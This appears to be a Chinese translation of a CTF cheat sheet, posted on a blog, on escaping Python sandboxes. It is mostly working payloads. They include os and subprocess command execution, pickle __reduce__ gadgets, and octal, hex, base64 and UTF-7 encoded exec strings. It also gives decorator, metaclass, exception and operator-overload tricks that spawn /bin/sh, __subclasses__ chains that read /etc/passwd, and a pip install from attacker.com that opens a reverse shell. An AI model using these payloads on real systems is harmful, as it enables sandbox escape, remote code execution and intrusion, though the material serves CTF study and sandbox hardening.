CTF - Python 沙箱绕过与任意命令执行技巧

这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。

命令执行库

首先,您需要知道是否可以直接使用已导入的某些库执行代码,或者是否可以导入以下这些库:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
# 导入函数以执行命令
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
# 其他有趣的函数
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
# 在 Python2.7 中
execfile('/usr/lib/python2.7/os.py')
system('ls')

请记住,openread函数对于读取 Python 沙箱内的文件以及编写可执行的代码以绕过沙箱非常有用。

Python2 的input()函数允许在程序崩溃之前执行 Python 代码。

Python 尝试首先从当前目录加载库(以下命令将打印 Python 从何处加载模块):python3 -c 'import sys; print(sys.path)'

绕过 pickle 沙箱与默认安装的 Python 包

默认包

您可以在此处找到预安装包的列表:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html

请注意,从 pickle 中,您可以使 Python 环境导入系统中安装的任意库。

例如,以下 pickle 在加载时将导入pip库以使用它:

# 请注意,这里我们导入 pip 库以便正确创建 pickle
# 然而,受害者甚至不需要安装该库来执行它
# 该库将自动加载
import pickle, os, base64, pip
class P(object):
    def __reduce__(self):
        return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))

有关 pickle 工作原理的更多信息,请查看此链接:https://checkoway.net/musings/pickle/

Pip 包

由@isHaacK 分享的技巧
如果您有权访问pippip.main(),您可以安装任意包并通过以下调用获得反向 shell:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该解压缩它,更改setup.py,并放入您的 IP 以进行反向 shell 连接:
1KB
Reverse.tar.gz

这个包称为 Reverse。但是,它经过特殊设计,以便当您退出反向 shell 时,其余的安装将失败,因此在您离开时不会在服务器上留下任何额外的 Python 包安装。

Eval-ing Python 代码

请注意,exec允许多行字符串和;,但eval不允许(检查 walrus 运算符)
如果某些字符被禁止,您可以使用十六进制/八进制/B64 表示来绕过限制:

exec("print('RCE'); __import__('os').system('ls')") # 使用 ";"
exec("print('RCE')\n__import__('os').system('ls')") # 使用 "\n"
eval("__import__('os').system('ls')") # Eval 不允许 ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) # 这样 eval 接受 ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
# 允许换行和制表符的单行代码
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
# 八进制
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
# 十六进制
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
# Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) # 仅 Python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

其他允许评估 Python 代码的库:

# Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# 前面的选项有效,但其他您可能尝试的会给出错误:
# 仅支持命名函数
# 例如:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

运算符和简短技巧

# walrus 运算符允许在列表中生成变量
## 一切都将按顺序执行
## 来自 https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## 这对于注入“eval”中的代码非常有用,因为它不支持多行或“;”

通过编码绕过保护(UTF - 7)

在本写入中,UFT - 7 用于在明显的沙箱内加载和执行任意 Python 代码:

assert b"+AAo - ".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
    return x
    # +AAo - print(open("/flag.txt").read())
""".lstrip()

也可以使用其他编码(例如raw_unicode_escapeunicode_escape)来绕过它。

Python 执行无需调用

如果您在一个不允许您进行调用的 Python 监狱中,仍然有一些方法可以执行任意函数、代码和命令。

RCE 与装饰器

# 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
@exec
@input
class X:
    pass
# 前面的代码等同于:
class X:
    pass
X = input(X)
X = exec(X)
# 因此,只需在提示时发送您的 Python 代码,它将被执行
# 另一种无需调用 input 的方法:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE 创建对象和重载

如果您可以声明一个类并创建该类的对象,您可以编写/覆盖不同的方法,这些方法可以在不需要直接调用它们的情况下被触发。

RCE 与自定义类

您可以修改某些类方法(通过覆盖现有类方法或创建新类),以使它们在被触发时执行任意代码,而无需直接调用它们。

# 这个类有 3 种不同的方式在不直接调用任何函数的情况下触发 RCE
class RCE:
    def __init__(self):
        self += "print('Hello from __init__ + __iadd__')"
    __iadd__ = exec # 在对象创建时触发
    def __del__(self):
        self -= "print('Hello from __del__ + __isub__')"
    __isub__ = exec # 在对象创建时触发
    __getitem__ = exec # 用 obj[<参数>]触发
    __add__ = exec # 用 obj + <参数>触发
# 这些行直接滥用前面的类来获得 RCE
rce = RCE() # 稍后我们将看到如何在不调用构造函数的情况下创建对象
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce
# 这些行将在程序结束(退出)时获得 RCE
sys.modules["pwnd"] = RCE()
exit()
# 其他要覆盖的函数
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k!= 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")')(请注意,这仅在`from __future__ import division`生效时起作用。)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k <<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

通过元类创建对象

元类允许我们做的关键事情是通过创建一个以目标类为元类的新类,来创建一个类的实例,而无需直接调用构造函数。

# 代码来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/ 并修复
# 这将定义“子类”的成员
class Metaclass(type):
    __getitem__ = exec # 因此 Sub[string]将执行 exec(string)
# 注意:Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # 这就是我们使 Sub.__class__ == Metaclass 的方式
    pass # 无需特殊操作
Sub['import os; os.system("sh")']
## 您也可以使用前面部分的技巧来使用此对象获得 RCE

通过异常创建对象

当触发异常时,会创建 Exception 对象的实例,而无需您直接调用构造函数(来自@_nag0mez 的技巧):

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec # 在对象创建时触发
raise RCE # 生成 RCE 对象
# RCE 与 __add__重载和 try/except + raise 生成的对象
class Klecko(Exception):
  __add__ = exec
try:
  raise Klecko
except Klecko as k:
  k + 'import os; os.system("sh")' # RCE 滥用 __add__

您也可以使用前面部分的技巧来使用此对象获得 RCE

更多 RCE

# 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
# 如果导入了 sys,您可以 sys.excepthook 并通过触发错误来触发它
class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0 # 触发它
# 来自 https://github.com/google/google - ctf/blob/master/2022/sandbox - treebox/healthcheck/solution.py
# 解释器将尝试导入特定于 apt 的模块,以潜在地
# 报告 ubuntu 提供的模块中的错误。
# 因此,__import__函数被我们的 RCE 覆盖
class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

使用 builtins 帮助和许可证读取文件

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

内置函数

Python2 的内置函数

Python3 的内置函数

如果您可以访问__builtins__对象,则可以导入库(请注意,您也可以在此处使用上一节中显示的其他字符串表示形式):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

无内置函数

当您没有__builtins__时,您将无法导入任何东西,甚至无法读取或写入文件,因为所有全局函数(如openimportprint…)都未加载。

然而,默认情况下,Python 在内存中导入了很多模块。这些模块可能看起来无害,但其中一些也在内部导入了危险的功能,可以访问这些功能以获得甚至任意代码执行。

在以下示例中,您可以观察如何滥用这些“良性”模块中的一些来访问其内部的危险功能。

Python2

# 尝试重新加载 __builtins__
reload(__builtins__)
import __builtin__
# 读取恢复 <type 'file'> 在偏移量 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# 写入恢复 <type 'file'> 在偏移量 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行恢复 __import__(类 59s 是 <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# 执行(另一种方法)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# 执行恢复 eval 符号(类 59 是 <class 'warnings.catch_warnings'>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@井九

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值